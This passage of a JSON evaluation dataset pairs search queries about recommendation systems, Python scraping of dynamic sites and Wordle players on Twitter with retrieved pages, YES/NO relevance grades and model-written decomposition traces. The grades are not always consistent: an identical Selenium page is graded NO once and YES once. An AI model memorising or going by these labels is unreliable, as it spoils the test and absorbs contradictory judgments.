                "text": "Algolia Recommend lets you display recommendations on your website.\nRecommendations encourage users to expand their search and browse more broadly.\nUsers can quickly jump to similar or complementary items if they don\u00e2\u0080\u0099t find a precise match.\nHow Recommend works\nUnder the hood, recommendations rely on supervised machine learning models and the Algolia foundation.\nRecommend has two different flavors of algorithms:\n\nCollaborative filtering works by analyzing user events.\nFirst, the user events from the last 30 to 90 days are collected.\nRecommend builds a table with userToken as columns and objectID as rows.\nEach cell represents the number of interactions between a userToken and an objectID.\nThen, Recommend analyzes the table with a collaborative filtering algorithm.\nFor each item, the algorithm finds other items that share similar buying patterns across users. Items are considered as being similar or bought together:\n\nSimilar if the same set of users interacts with them.\n Bought together if the same set of users bought them.\n\nContent-based filtering analyzes key attributes of items, such as their titles or descriptions, to find similarities.\n\nRecommend models\nAlgolia Recommend builds models from your index and user events,\nbased on supervised machine learning algorithms.\nGiven an objectID(source item or viewed item), the trained model recommends other related objectIDs that are related (recommendations).\nFrequently Bought Together\nFrequently Bought Together recommends items that are likely to be often bought together.\nTo find such items, Recommend looks at conversion events,\nwhich are events towards a goal, for example, a purchase.\nTwo or more items are considered bought together if the same user performs conversions with these items on the same day.\nThe model learns from these examples to suggest items that are likely to go well together, which will include historical co-purchases as well as new potential ones.\nRelated Products and Related Content\nThe Related Products and Related Content models are hybrid models f",
                "model_trace": "Query Decomposition:\n1. [Implement a recommendation system]: The document describes how to implement a recommendation system using Algolia Recommend -> ([1], SATISFIED)\n2. [In an e-commerce application]: The document is applicable to e-commerce applications as it discusses recommending products based on user interactions -> ([2], SATISFIED)\n3. [Suggest related products]: The document mentions recommending related products through collaborative filtering and content-based filtering -> ([1], SATISFIED)\n4. [Based on browsing and purchase history]: The document explains how recommendations are made based on user events, including browsing and purchase history -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides detailed information on implementing a recommendation system in an e-commerce application that suggests related products based on user browsing and purchase history. YES"
            },
            {
                "grade": "YES",
                "title": "When and How to Implement the Product Recommendation System | HackerNoon",
                "url": "https://hackernoon.com/when-and-how-to-implement-the-product-recommendation-system/",
                "published_date": "2023-06-09",
                "text": "@philippvolnov Too Long; Didn't Read Product recommendations became increasingly popular after their introduction in retail by Amazon in 2008 and could provide a great value both for retailers and their customers. The hype led to the appearance of plenty of sometimes dangerous myths associated with product recommendations (mostly created by vendor\u2019s sales and marketing teams). I.e. you might still see the product recommendation solution being presented as a fully autonomous magic bullet, which would increase one\u2019s profits just after being installed on the website. @philippvolnov Philipp Volnov Director of Customer Success at Mindbox, a cloud-based marketing automation platform. Receive Stories from @philippvolnov Credibility RELATED STORIES L O A D I N G. . . comments &",
                "model_trace": "Query Decomposition:\n1. [How to implement a recommendation system]: The document's title suggests it will cover how to implement a product recommendation system -> ([1], SATISFIED)\n2. [Recommendation system for e-commerce]: The document mentions product recommendations in retail, which is relevant to e-commerce -> ([2], SATISFIED)\n3. [Suggest related products based on browsing and purchase history]: The document does not specifically mention using browsing and purchase history for recommendations -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to implementing a recommendation system for e-commerce. The specific use of browsing and purchase history is not addressed, but the document's primary focus aligns well with the user's intent. YES."
            },
            {
                "grade": "YES",
                "title": "Build a Real-Time Product Recommendation System | Redis",
                "url": "https://redis.com/blog/real-time-product-recommendation-docarray/",
                "published_date": "2022-11-08",
                "text": "This tutorial helps you build a real-time product recommendation system for an e-commerce system using content-based filtering and vector similarity search. Follow along to learn the essential steps and how it works. \nRecommendation systems are an important technology for most online businesses and for e-commerce sites in particular. They\u2019re an essential element in generating good conversion and maintaining customer loyalty.\nA recommendation system typically shows items to users based on their profiles and preferences and by observing their actions (such as buying, liking, or viewing items).\n\nConsider the challenges involved in building a recommendation system for a modern e-commerce site. This is just a subset of the issues to consider:\n Customization: Customers want to filter results, such as by price range, brand, and size. Our system should recommend products only within these parameters. Multiple modalities: A product listing is more than a text description. It can also contain images, video, audio, and 3D mesh, for example. All available data modalities should be exploited when making recommendations. Latency: Customers expect recommendations to appear quickly. If the system\u2019s recommendations aren\u2019t returned immediately, they\u2019re irrelevant. Data volume: The more products and customers the site has, the harder it is to recommend products efficiently. Computing recommendations should stay fast even with big datasets. \nAs these requirements evolve, approaches to building recommendation systems need to evolve as well. In this blog post, we show you how to build a real-time product recommendation system with respect to user-defined filters using the latest vector search technology. The tool suite includes Redis and DocArray, but the methodology is relevant no matter which tools you employ.\nRecommendation systems basics\nAs with any other computing problem, there are multiple approaches to building recommendation systems and tools to support each effort. They include:\n Collaborative filtering: The system predicts ",
                "model_trace": "Query Decomposition:\n1. {Implement a recommendation system}: The document provides a tutorial on building a recommendation system -> ([1], SATISFIED)\n2. {For an e-commerce application}: The document specifically mentions building a recommendation system for an e-commerce system -> ([1], SATISFIED)\n3. {Suggests related products based on browsing and purchase history}: The document discusses using content-based filtering and vector similarity search, which can be used to suggest related products based on user actions such as buying, liking, or viewing items -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Ecommerce Recommendation Engine",
                "url": "https://www.bigcommerce.com/articles/ecommerce/recommendation-engine/",
                "published_date": null,
                "text": "When Apple cofounder Steve Jobs famously said \u201cPeople don\u2019t know what they want until you show it to them\u201d in defense of the then-unproven iPhone, he wasn\u2019t talking about recommendation engines \u2014 but he may as well have been. Before ecommerce became a predominant way people shop, customers would walk into a store, tell the clerk what they were looking for and receive recommendations based on their needs. As they approach the checkout counter, the clerk might casually mention a complementary accessory that goes perfectly with the selected item (cross-selling) or offer a slightly more high-end version of the item (upselling) with better features. While online retailers can\u2019t offer that same high-touch experience, a good ecommerce recommendation engine comes close. Recommendation engines serve contextually relevant product suggestions based on the consumer\u2019s past purchases and viewing behavior. Research from McKinsey found that companies that excel at personalization generate 40% more revenue from those activities than \u201caverage players.\u201d Ecommerce personalization has become so mainstream that 71% of consumers expect personalized experiences when interacting with a brand and 76% get frustrated when they don\u2019t find it. Read on to learn more about how recommendation engines work and how you can use them to boost sales and revenue to your ecommerce business. Ecommerce Recommendation Engine Functionalities to Uplevel Your Online Store A recommendation engine improves product discoverability while providing customers with a frictionless experience. They save customers the trouble of navigating a vast product catalog and using complex search filters to find what they need. At the same time, online stores benefit from increased sales and customer loyalty. Personalize the shopping experience. Retailers use personalization tools to make it easy for customers to:   Navigate products in-store.   Receive relevant product recommendations.   See messaging tailored to their needs.   Recommendation engines analyze a user\u2019s browsing ",
                "model_trace": "Query Decomposition:\n1. {How to implement a recommendation system}: The document promises to explain how recommendation engines work and how they can be used in ecommerce -> ([1], SATISFIED)\n2. {For e-commerce application}: The document specifically discusses recommendation engines in the context of ecommerce -> ([1], SATISFIED)\n3. {Suggest related products to users based on browsing and purchase history}: The document mentions that recommendation engines provide product suggestions based on consumer\u2019s past purchases and viewing behavior -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "21 Ecommerce Product Recommendation Tips For Conversions",
                "url": "https://thegood.com/insights/ecommerce-product-recommendation/",
                "published_date": null,
                "text": "A timely product recommendation can lead shoppers to choose one product over another. It can be the nudge they need to make a purchase or, at the very least, inspire them to browse a category of products they didn\u2019t even know they needed.\u00a0\n What is a Product Recommendation?\u00a0 \nA product recommendation is exactly what you think\u2013a recommendation for a product.\u00a0\nHave you ever made a selection at a local store, based on a product recommendation from the owner or a sales clerk? Has a product recommendation from a friend or family member ever been the deciding factor in your choice of which product to purchase?\nCelebrity endorsements (paid or unpaid), advice given by a current user, \u201cBest 10\u201d lists on blogs \u2013 all of these mentions, and more, leverage the power of product recommendations. Looking for the best dried flower bouquet? Look no further than product recommendation lists on Google.\u00a0\n \nAs an ecommerce manager, though, you don\u2019t have to wait for someone else to recommend a product to your customers. You can make product recommendations while the prospect is in the process of shopping on your website. Personalized product recommendations can work to improve the user experience as well as the conversion rate of your site.\nIn this article, we\u2019ll reveal some of the most effective ways we\u2019ve found to deliver product recommendations to your customers. The information we provide here will help you sell more products more often.\nGuaranteed.\n How Do Ecommerce Product Recommendation Engines Work? \nAn ecommerce product recommendation engine is a piece of technology that displays recommended products to shoppers throughout your store. It uses machine learning to get smarter and show increasingly relevant products to shoppers based on their interests and previous browsing behavior.\u00a0\nWhile it\u2019s possible to manually implement rudimentary \u201calso-liked\u201d recommendations on your ecommerce site, product recommendations best practices call for the deployment of a \u2018product recommendations engine\u2019.\n \nThere are three basic approaches used",
                "model_trace": "Query Decomposition:\n1. [How to implement a recommendation system]: The document discusses how ecommerce product recommendation engines work and provides tips for delivering product recommendations -> ([1], SATISFIED)\n2. [Based on browsing and purchase history]: The document mentions that recommendation engines use machine learning to show relevant products based on interests and previous browsing behavior -> ([1], SATISFIED)\n\nAssessment: The document provides information on how ecommerce product recommendation engines work and mentions the use of browsing and purchase history, which aligns well with the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "How Ecommerce Product Recommendations Drive Sales",
                "url": "https://www.shopify.com/blog/ecommerce-product-recommendation",
                "published_date": null,
                "text": "How many times have you visited an online store with a plan to buy a certain item, only to add several other items to your online shopping cart? This may be due to random chance, but it\u2019s more likely the ecommerce website made relevant recommendations and product suggestions while you were browsing.\nAs an ecommerce merchant, you too can boost shopping cart totals by suggesting complementary products based on a customer\u2019s behavioral data. The secret is making personalized recommendations that align with a shopper\u2019s original purchase intent. Here\u2019s a guide to ecommerce product recommendations, with tips for using them on your own ecommerce site.\nWhat are ecommerce product recommendations?\nAn ecommerce product recommendation is a personalized suggestion or prompt displayed to online shoppers, guiding them toward products they might be interested in purchasing. These personalized product recommendations are based on factors like browsing history, purchase history, user behavior, customer segmentation, and the purchasing history of similar users.\nEcommerce companies use software tools called product recommendation engines to suggest relevant products to shoppers. These engines use machine learning algorithms and data points to generate product suggestions. While incorporating a product recommendation engine cannot guarantee bigger cart totals, it can inspire customers to consider products they might have otherwise overlooked.\nBenefits of ecommerce product recommendations\n Increased sales and revenue \n Enhanced user experience \n Customer loyalty \n Optimized marketing spend \n Data insights for continuous improvement \nProduct recommendations offer several advantages for an ecommerce store:\nIncreased sales and revenue\nPersonalized product recommendations significantly impact average order value on an ecommerce platform. A 2023 study by Barilliance found product recommendations account for an average of 31% of ecommerce site revenues. In a McKinsey report, 35% of what consumers bought on Amazon came from its recommendation",
                "model_trace": "Query Decomposition:\n1. {How to implement a recommendation system}: The document provides a general guide to ecommerce product recommendations and mentions the use of product recommendation engines, but does not provide detailed implementation steps -> ([1], UNSATISFIED)\n2. {Based on browsing and purchase history}: The document mentions that recommendations are based on browsing history, purchase history, and other factors -> ([1], SATISFIED)\n3. {For e-commerce application}: The document is specifically about ecommerce product recommendations -> ([1], SATISFIED)\n\nAssessment: The document provides useful information about the benefits and general concept of ecommerce product recommendations but lacks detailed implementation steps. Since the key subcomponent {How to implement a recommendation system} is not satisfied, the document is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm trying to build a web scraper in Python to extract data from a JavaScript-heavy website. What are the best libraries and techniques I should use to handle the dynamic content?",
        "grid_pos": [
            1,
            5
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a diverse set of topics including data visualization, machine learning, web scraping, containerization, and recommender systems. They require a deep understanding of various programming concepts, libraries, and techniques to answer effectively. The queries are specific and detailed, testing the search engine's ability to understand complex information needs and provide relevant, high-quality resources."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Selenium with Python\u00b6",
                "url": "https://selenium-python.readthedocs.io/",
                "published_date": "2018-01-01",
                "text": "Note\nThis is not an official documentation. If you would like to contribute to\nthis documentation, you can fork this project in GitHub and send pull\nrequests. You can also send\nyour feedback to my email: baiju.m.mail AT gmail DOT com. So far 50+\ncommunity members have contributed to this project (See the closed pull\nrequests). I encourage contributors to add more sections and make it an\nawesome documentation! If you know any translation of this document, please\nsend a PR to update the below list.\n Translations:\n\nChinese \n Japanese",
                "model_trace": "Query Decomposition:\n1. {web scraper in Python}: The document is about using Selenium with Python, which is relevant for building a web scraper in Python -> ([1], SATISFIED)\n2. {extract data from a JavaScript-heavy website}: Selenium is a tool that can handle JavaScript-heavy websites by simulating a real browser -> ([1], SATISFIED)\n3. {best libraries and techniques}: The document is specific to Selenium and does not mention other libraries or techniques -> ([1], UNSATISFIED)\n\nAssessment: The document is useful for learning about Selenium, which is a key library for scraping JavaScript-heavy websites. However, it does not cover other libraries or techniques. Since the query asks for \"the best libraries and techniques,\" the document only partially satisfies the query. NO."
            },
            {
                "grade": "NO",
                "title": "Scrapy",
                "url": "https://scrapy.org/",
                "published_date": null,
                "text": "An open source and collaborative framework for extracting the data you need from websites.\n\nIn a fast, simple, yet extensible way.\n\nMaintained by\n\nZyte\n\n(formerly Scrapinghub)\n and\n\nmany other contributors\n\nInstall the latest version of Scrapy\n Scrapy 2.8.0 \n pip install scrapy\n\nTerminal\u2022\n\npip install scrapy\n cat > myspider.py <<EOF\n import scrapy\nclass BlogSpider(scrapy.Spider):\n name = 'blogspider'\n start_urls = ['https://www.zyte.com/blog/']\n def parse(self, response):\n for title in response.css('.oxy-post-title'):\n yield {'title': title.css('::text').get()}\n for next_page in response.css('a.next'):\n yield response.follow(next_page, self.parse) EOF\n scrapy runspider myspider.py\n\nBuild and run yourweb spiders\n\nTerminal\u2022\n\npip install shub\n shub login\nInsert your Zyte Scrapy Cloud API Key: <API_KEY>\n# Deploy the spider to Zyte Scrapy Cloud\n shub deploy\n# Schedule the spider for execution\n shub schedule blogspider \nSpider blogspider scheduled, watch it running here:\nhttps://app.zyte.com/p/26731/job/1/8\n# Retrieve the scraped data\n shub items 26731/1/8\n {\"title\": \"Improved Frontera: Web Crawling at Scale with Python 3 Support\"}\n{\"title\": \"How to Crawl the Web Politely with Scrapy\"}\n...\n\nFast and powerful\n write the rules to extract the data and let Scrapy do the rest\n\nEasily extensible\n extensible by design, plug new functionality easily without having to touch the core\n\nPortable, Python\n written in Python and runs on Linux, Windows, Mac and BSD\n\nHealthy community\n\n- 43,100 stars, 9,600 forks and 1,800 watchers on GitHub \n - 5.500 followers on Twitter \n - 18,000 questions on StackOverflow",
                "model_trace": "Query Decomposition:\n1. {web scraper in Python}: This document is about Scrapy, a Python framework for web scraping -> ([1], SATISFIED)\n2. {extract data from a JavaScript-heavy website}: The document does not mention handling JavaScript-heavy websites specifically -> ([0], UNSURE)\n3. {best libraries and techniques to handle dynamic content}: The document does not mention techniques for handling dynamic content or other libraries -> ([0], UNSURE)\n\nAssessment: The document only satisfies the subcomponent about building a web scraper in Python and does not address handling JavaScript-heavy websites or techniques for dynamic content. Therefore, it is not fully helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Selenium with Python\u00c2\u00b6",
                "url": "https://selenium-python.readthedocs.io/index.html",
                "published_date": "2022-12-14",
                "text": "Note\nThis is not an official documentation. If you would like to contribute to\nthis documentation, you can fork this project in GitHub and send pull\nrequests. You can also send\nyour feedback to my email: baiju.m.mail AT gmail DOT com. So far 50+\ncommunity members have contributed to this project (See the closed pull\nrequests). I encourage contributors to add more sections and make it an\nawesome documentation! If you know any translation of this document, please\nsend a PR to update the below list.\n Translations:\n\nChinese \n Japanese",
                "model_trace": "[QUERY] I'm trying to build a web scraper in Python to extract data from a JavaScript-heavy website. What are the best libraries and techniques I should use to handle the dynamic content?\n\n[WEBPAGE INFORMATION]\n[TITLE] Selenium with Python\u00c2\u00b6\n[URL] https://selenium-python.readthedocs.io/index.html\n[DATE PUBLISHED] 2022-12-14\n[CONTENT] Note\nThis is not an official documentation. If you would like to contribute to\nthis documentation, you can fork this project in GitHub and send pull\nrequests. You can also send\nyour feedback to my email: baiju.m.mail AT gmail DOT com. So far 50+\ncommunity members have contributed to this project (See the closed pull\nrequests). I encourage contributors to add more sections and make it an\nawesome documentation! If you know any translation of this document, please\nsend a PR to update the below list.\n Translations:\n\nChinese \n Japanese\n\nQuery Decomposition:\n1. {best libraries for web scraping in Python}: The document is about Selenium, which is a well-known library for web scraping in Python -> ([1], SATISFIED)\n2. {techniques to handle dynamic content}: Selenium is specifically designed to handle dynamic content by simulating a web browser -> ([1], SATISFIED)\n\nAssessment: The document provides information about Selenium, which is a suitable library for web scraping JavaScript-heavy websites and handling dynamic content. YES."
            },
            {
                "grade": "YES",
                "title": "How can I scrape a page with dynamic content (created by ...",
                "url": "https://stackoverflow.com/questions/8049520/how-can-i-scrape-a-page-with-dynamic-content-created-by-javascript-in-python",
                "published_date": null,
                "text": "I personally prefer using scrapy and selenium and dockerizing both in separate containers. This way you can install both with minimal hassle and crawl modern websites that almost all contain javascript in one form or another. Here's an example:\nUse the scrapy startproject to create your scraper and write your spider, the skeleton can be as simple as this:\n import scrapy\nclass MySpider(scrapy.Spider):\n name = 'my_spider'\n start_urls = ['https://somewhere.com']\n def start_requests(self):\n yield scrapy.Request(url=self.start_urls[0])\n def parse(self, response):\n # do stuff with results, scrape items etc.\n # now were just checking everything worked\n print(response.body)\n \nThe real magic happens in the middlewares.py. Overwrite two methods in the downloader middleware, __init__ and process_request, in the following way:\n # import some additional modules that we need\nimport os\nfrom copy import deepcopy\nfrom time import sleep\nfrom scrapy import signals\nfrom scrapy.http import HtmlResponse\nfrom selenium import webdriver\nclass SampleProjectDownloaderMiddleware(object):\ndef __init__(self):\n SELENIUM_LOCATION = os.environ.get('SELENIUM_LOCATION', 'NOT_HERE')\n SELENIUM_URL = f'http://{SELENIUM_LOCATION}:4444/wd/hub'\n chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_experimental_option(\"mobileEmulation\", mobile_emulation)\n self.driver = webdriver.Remote(command_executor=SELENIUM_URL,\n desired_capabilities=chrome_options.to_capabilities())\ndef process_request(self, request, spider):\n self.driver.get(request.url)\n # sleep a bit so the page has time to load\n # or monitor items on page to continue as soon as page ready\n sleep(4)\n # if you need to manipulate the page content like clicking and scrolling, you do it here\n # self.driver.find_element_by_css_selector('.my-class').click()\n # you only need the now properly and completely rendered html from your page to get results\n body = deepcopy(self.driver.page_source)\n # copy the current url in case of redirects\n url = deepcopy(self.driver.current_url)\n return HtmlResp",
                "model_trace": "Query Decomposition:\n1. {build a web scraper in Python}: The document provides information on building a web scraper using Python libraries -> ([1], SATISFIED)\n2. {extract data from a JavaScript-heavy website}: The document specifically addresses scraping dynamic content created by JavaScript -> ([1], SATISFIED)\n3. {best libraries and techniques to handle dynamic content}: The document mentions using Scrapy and Selenium, which are popular libraries for handling dynamic content -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses all key subcomponents of the query, providing relevant libraries (Scrapy and Selenium) and techniques for handling dynamic content. YES."
            },
            {
                "grade": "YES",
                "title": "What is the best-recommended way to scrape JavaScript- ...",
                "url": "https://www.quora.com/What-is-the-best-recommended-way-to-scrape-JavaScript-rich-dynamic-websites",
                "published_date": null,
                "text": "What is the best-recommended way to scrape JavaScript-rich dynamic websites?                What's the fastest way to scrape JavaScript web pages?                If you are using a Python selenium web scraper then you might want to use it with  Splash , a JavaScript rendering service. It's a small browser that runs on the web using HTTP APIs and is written in Python 3 using Twisted and QT5.   However, The Bright Data advanced  Web Unlocker  utility is probably quickest technique to scrape JavaScript web sites. It's the first truly automated unblocking software that incorporates JavaScript rendering, as well as other features like CAPTCHA solving, worldwide GEO coverage, results parsing for chosen domains and more.              Hmm. I usually use BeautifulSoup in  scraping static websites .   However, when I want to start scraping a dynamic website with a lot of Javascript in it, I usually use Selenium.   With this selenium, I can access dynamic websites such as Youtube or Steam.             Which is the best way to dynamically scrape web page with plain JavaScript? If that is too much and is not worth it, which is best JS library?                Using plain vanilla javascript to scrape web pages is a head ache. Instead you can use third party libraries. There are a lot of them available. My personal choice is  Puppeteer  |  Tools for Web Developers\n  |  Google Developers .    It is free.   It is from Google.   There is extensive documentation.   Community support is high on stackoverflow. You wont get into a problem which you cant get a solution to.   It gives you an instance of Chromium and you can work in it like normal browser.               How do I use PhantomJS in Python to scrape websites having content dynamically generated by JavaScript?                Selenium Provides you with two things that can be used together to solve the problem.    Expected Condition (EC)   Explicit Wait (wait until)    Most probably, when the page loads, the button is created dynamically. Creating buttons takes some time. Button",
                "model_trace": "Query Decomposition:\n1. [best libraries to scrape JavaScript-heavy websites]: The document mentions several libraries and tools such as Selenium, Splash, Bright Data Web Unlocker, Puppeteer, and PhantomJS -> ([1], SATISFIED)\n2. [techniques to handle dynamic content]: The document discusses techniques like using Selenium with explicit waits and expected conditions, as well as using services that render JavaScript like Splash and Puppeteer -> ([1], SATISFIED)\n\nAssessment: The document provides information on both the best libraries and techniques to handle dynamic content in JavaScript-heavy websites. Therefore, it satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Python Web Scraping: Full Tutorial With Examples (2024)",
                "url": "https://www.scrapingbee.com/blog/web-scraping-101-with-python/",
                "published_date": null,
                "text": "Introduction:\nIn this post, which can be read as a follow-up to our guide about web scraping without getting blocked, we will cover almost all of the tools to do web scraping in Python. We will go from the basic to advanced ones, covering the pros and cons of each. Of course, we won't be able to cover every aspect of every tool we discuss, but this post should give you a good idea of what each tool does and when to use one.\n Note: When I talk about Python in this blog post, you should assume that I talk about Python3. \n0. Web Fundamentals\nThe Internet is complex: there are many underlying technologies and concepts involved to view a simple web page in your browser. The goal of this article is not to go into excruciating detail on every single of those aspects, but to provide you with the most important parts for extracting data from the web with Python.\nHyperText Transfer Protocol\nHyperText Transfer Protocol (HTTP) uses a client/server model. An HTTP client (a browser, your Python program, cURL, libraries such as Requests...) opens a connection and sends a message (\u201cI want to see that page : /product\u201d) to an HTTP server (Nginx, Apache...). Then the server answers with a response (the HTML code for example) and closes the connection.\nHTTP is called a  stateless protocol  because each transaction (request/response) is independent. FTP, for example, is stateful because it maintains the connection.\nBasically, when you type a website address in your browser, the HTTP request looks like this:\n GET /product/ HTTP/1.1\nHost: example.com\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Encoding: gzip, deflate, sdch, br\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_3_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\n  In the first line of this request, you can see the following:\nThe HTTP method or verb. In our case GET, indicating that we would like to fetch data. There are quite a few other HTTP methods available as (e.g. fo",
                "model_trace": "Query Decomposition:\n1. {best libraries for web scraping in Python}: The document mentions that it will cover almost all tools for web scraping in Python, which implies it will discuss various libraries -> ([1], SATISFIED)\n2. {techniques to handle dynamic content}: The document does not explicitly mention handling dynamic content or JavaScript-heavy websites -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to discussing libraries for web scraping in Python. However, it does not provide specific information about handling dynamic content in JavaScript-heavy websites, which is crucial for the query. Therefore, it does not fully meet the user's needs. NO."
            }
        ]
    },
    {
        "query": "Who are the top 5 most influential #Wordle players on Twitter right now?",
        "grid_pos": [
            1,
            6
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries test Exa's ability to understand complex, nuanced questions about current events, pop culture, and social media trends that require aggregating and synthesizing information from many tweets. The queries cover a range of topics like movies, games, politics, social media challenges, and natural disasters, which demonstrates the breadth of Exa's knowledge. Answering these queries well would require understanding context, sentiment, and the most relevant/influential voices on Twitter."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/powerlanguish",
                "published_date": "2015-06-29",
                "text": "powerlanguage. I created Place and The Button @reddit. And more recently Wordle.\n\n@powerlanguage@xoxo.zone| profile_url: http://powerlanguage.co.uk | name: Josh Wardle | created_at: Mon Jun 29 04:05:38 +0000 2015 | favourites_count: 847 | followers_count: 58782 | friends_count: 242 | media_count: 21 | possibly_sensitive: False | verified: False | statuses_count: 171 | location: New York City An update on Wordle https://t.co/TmHd0AIRLX| created_at: Mon Jan 31 21:32:29 +0000 2022 | favorite_count: 167094 | quote_count: 7430 | reply_count: 3131 | retweet_count: 13787 | is_quote_status: False | retweeted: False | lang: en I want to acknowledge the folks who have supported me along the way.\n\n@chrisdary, @marcprecipice, @gooeyblob, @I_am_Dan_Ellis, @spladug, @madlymattlee, @bassett_green, @waxpancake, @ttwardle, @irihapeta and the NZ players #dailywordleclub and of course @PakLocknDropit\n\nThank you| created_at: Mon Jan 31 21:32:30 +0000 2022 | favorite_count: 6140 | quote_count: 20 | reply_count: 86 | retweet_count: 118 | is_quote_status: False | retweeted: False | lang: en Wordle, a daily word guessing game I made, got a shoutout in the NYT newsletter today: https://t.co/TWSP8M4x4E. Thanks @melissakirsch\n\nYou can play it here: https://t.co/8PAwjKgPF7 https://t.co/0yCrbGjcoy| created_at: Wed Nov 24 21:46:14 +0000 2021 | favorite_count: 4989 | quote_count: 257 | reply_count: 290 | retweet_count: 656 | is_quote_status: False | retweeted: False | lang: en Today I fixed a long standing bug in Wordle's puzzle selection code that was causing folks in certain timezones to get the incorrect puzzle. This largely affected my friends in Australia and New Zealand. 1/2| created_at: Mon Jan 10 13:09:36 +0000 2022 | favorite_count: 2345 | quote_count: 156 | reply_count: 183 | retweet_count: 158 | is_quote_status: False | retweeted: False | lang: en Can confirm this is true. @StevenCravotta reached out to me unprompted and asked about donating the proceeds. He's a class act and you should follow him.| created_at: Fri Jan 14 15:12:47 +",
                "model_trace": "Query Decomposition:\n1. {top 5 most influential}: This subcomponent requires identifying the top 5 most influential players, which is not clearly addressed in the document -> ([0], UNSURE)\n2. {#Wordle players on Twitter}: The document is about Josh Wardle, the creator of Wordle, and mentions some other Twitter users, but does not provide a clear list of influential players -> ([1], UNSATISFIED)\n3. {right now}: The document does not provide current information on influential players -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {#Wordle players on Twitter}. Since this subcomponent is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/VitalikButerin",
                "published_date": "2011-05-08",
                "text": "Ethereum\n\nFable of the Dragon Tyrant (not mine but it's important): https://www.youtube.com/watch?v=cZYNADOHhVY\n\nAbolish daylight savings time and leap seconds| profile_url: http://vitalik.ca | name: vitalik.eth | created_at: Sun May 08 16:03:03 +0000 2011 | favourites_count: 6875 | followers_count: 4767255 | friends_count: 354 | media_count: 612 | possibly_sensitive: False | verified: True | statuses_count: 19389 | location: Earth RT @reflexerfinance: Check out @VitalikButerin's post in the Reflexer Forum on how RAI-like systems might safely support staked ETH\n\nhttps:\u2026| created_at: Thu Jan 26 05:39:47 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 199 | is_quote_status: False | retweeted: False | lang: en An incomplete guide to stealth addresses:\n\nhttps://vitalik.eth.limo/general/2023/01/20/stealth.html| created_at: Fri Jan 20 20:04:12 +0000 2023 | favorite_count: 4104 | quote_count: 237 | reply_count: 1689 | retweet_count: 1129 | is_quote_status: False | retweeted: False | lang: en RT @GovofCO: This time of year, it is essential to be \u201cBear Aware.\u201d This includes securing trash cans and dumpsters, removing bird feeders,\u2026| created_at: Sun Jan 01 03:11:19 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 391 | is_quote_status: False | retweeted: False | lang: en RT @JBSchweitzer: As the year of the Merge ends, we wanted to share updates from many of the Ethereum gardeners and EF-supported teams that\u2026| created_at: Sun Jan 01 00:27:19 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 332 | is_quote_status: False | retweeted: False | lang: en RT @VitalikButerin: @IAPonomarenko Happy new year, and lots of love to you too.\n\nWish you guys a peace with justice in 2023.\n\n\u0421\u043b\u0430\u0432\u0430 \u0423\u043a\u0440\u0430\u0457\u043d\u0456\u2026| created_at: Sat Dec 31 22:15:52 +0000 2022 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 657 | is_quote_status: False | retweeted: False | lang: und What even is an institution?\n\nhttps://vitalik.eth.limo/general/2022/",
                "model_trace": "[QUERY] Who are the top 5 most influential #Wordle players on Twitter right now?\n\n[WEBPAGE INFORMATION]\n[TITLE] \n[URL] https://twitter.com/VitalikButerin\n[DATE PUBLISHED] 2011-05-08\n[CONTENT] Ethereum\n\nFable of the Dragon Tyrant (not mine but it's important): https://www.youtube.com/watch?v=cZYNADOHhVY\n\nAbolish daylight savings time and leap seconds| profile_url: http://vitalik.ca | name: vitalik.eth | created_at: Sun May 08 16:03:03 +0000 2011 | favourites_count: 6875 | followers_count: 4767255 | friends_count: 354 | media_count: 612 | possibly_sensitive: False | verified: True | statuses_count: 19389 | location: Earth RT @reflexerfinance: Check out @VitalikButerin's post in the Reflexer Forum on how RAI-like systems might safely support staked ETH\n\nhttps:\u2026| created_at: Thu Jan 26 05:39:47 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 199 | is_quote_status: False | retweeted: False | lang: en An incomplete guide to stealth addresses:\n\nhttps://vitalik.eth.limo/general/2023/01/20/stealth.html| created_at: Fri Jan 20 20:04:12 +0000 2023 | favorite_count: 4104 | quote_count: 237 | reply_count: 1689 | retweet_count: 1129 | is_quote_status: False | retweeted: False | lang: en RT @GovofCO: This time of year, it is essential to be \u201cBear Aware.\u201d This includes securing trash cans and dumpsters, removing bird feeders,\u2026| created_at: Sun Jan 01 03:11:19 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 391 | is_quote_status: False | retweeted: False | lang: en RT @JBSchweitzer: As the year of the Merge ends, we wanted to share updates from many of the Ethereum gardeners and EF-supported teams that\u2026| created_at: Sun Jan 01 00:27:19 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 332 | is_quote_status: False | retweeted: False | lang: en RT 